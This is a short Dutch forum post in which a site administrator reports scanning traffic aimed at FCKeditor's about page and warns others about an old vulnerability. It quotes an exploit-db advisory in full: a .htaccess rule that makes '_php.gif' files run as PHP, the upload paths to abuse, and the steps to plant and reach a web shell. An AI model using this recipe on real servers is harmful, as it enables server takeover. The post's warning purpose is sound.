FCK editor

[cfmweb]

Ik zie de laatste tijd veel GET requests op /admin/FCKeditor/editor/dialog/fck.about.html

Waarschijnlijk om te zien of er oude versies draaien.

Als je dan zoekt op vulnerability's kom je onder andere dit tegen:


[+] Title:FCKeditor all version Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author : pentesters.ir
[+] Website : WwW.PenTesters.IR
---------------------------------------------------------
1.create a htaccess file:
code:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.
---------------------------------------------------------


Bron: http://www.exploit-db.com/exploits/17644/

Dat is al een wat oudere exploit, maar lijkt me toch een serieuze zaak om even bij stil te staan.

Meer mensen die dit soort dingen is opgevallen?